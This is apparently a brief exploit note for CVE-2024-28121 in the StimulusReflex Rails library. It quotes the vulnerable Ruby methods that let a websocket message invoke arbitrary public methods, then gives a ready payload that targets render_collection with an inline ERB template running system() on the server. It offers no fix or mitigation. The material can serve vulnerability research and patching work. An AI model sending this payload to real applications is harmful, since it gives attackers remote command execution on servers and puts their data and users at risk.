StimulusReflex CVE-2024-28121
Arbitrary code execution in StimulusReflex. This affects version 3.5.0 up to and including 3.5.0.rc2 and v3.5.0.pre10.
## Vulnerable code excerpt
stimulus_reflex/lib/stimulus_reflex/reflex.rb
```
# Invoke the reflex action specified by `name` and run all callbacks
def process(name, *args)
run_callbacks(:process) { public_send(name, *args) }
end
```
stimulus_reflex/app/channels/stimulus_reflex/channel.rb
```
def delegate_call_to_reflex(reflex)
method_name = reflex.method_name
arguments = reflex.data.arguments
method = reflex.method(method_name)
policy = StimulusReflex::ReflexMethodInvocationPolicy.new(method, arguments)
if policy.no_arguments?
reflex.process(method_name)
elsif policy.arguments?
reflex.process(method_name, *arguments)
else
raise ArgumentError.new("wrong number of arguments (given #{arguments.inspect}, expected #{policy.required_params.inspect}, optional #{policy.optional_params.inspect})")
end
end
```
stimulus_reflex/lib/stimulus_reflex/policies/reflex_invocation_policy.rb
```
module StimulusReflex
class ReflexMethodInvocationPolicy
attr_reader :arguments, :required_params, :optional_params
def initialize(method, arguments)
@arguments = arguments
@required_params = method.parameters.select { |(kind, _)| kind == :req }
@optional_params = method.parameters.select { |(kind, _)| kind == :opt }
end
def no_arguments?
arguments.size == 0 && required_params.size == 0
end
def arguments?
arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size
end
def unknown?
return false if no_arguments?
return false if arguments?
true
end
end
end
```
## Payload
Find a websocket message with target and args.
```
\"target\":\"StimulusReflex::Reflex#render_collection\",\"args\":[{\"inline\": \"<% system('[command here]') %>\"}]
```
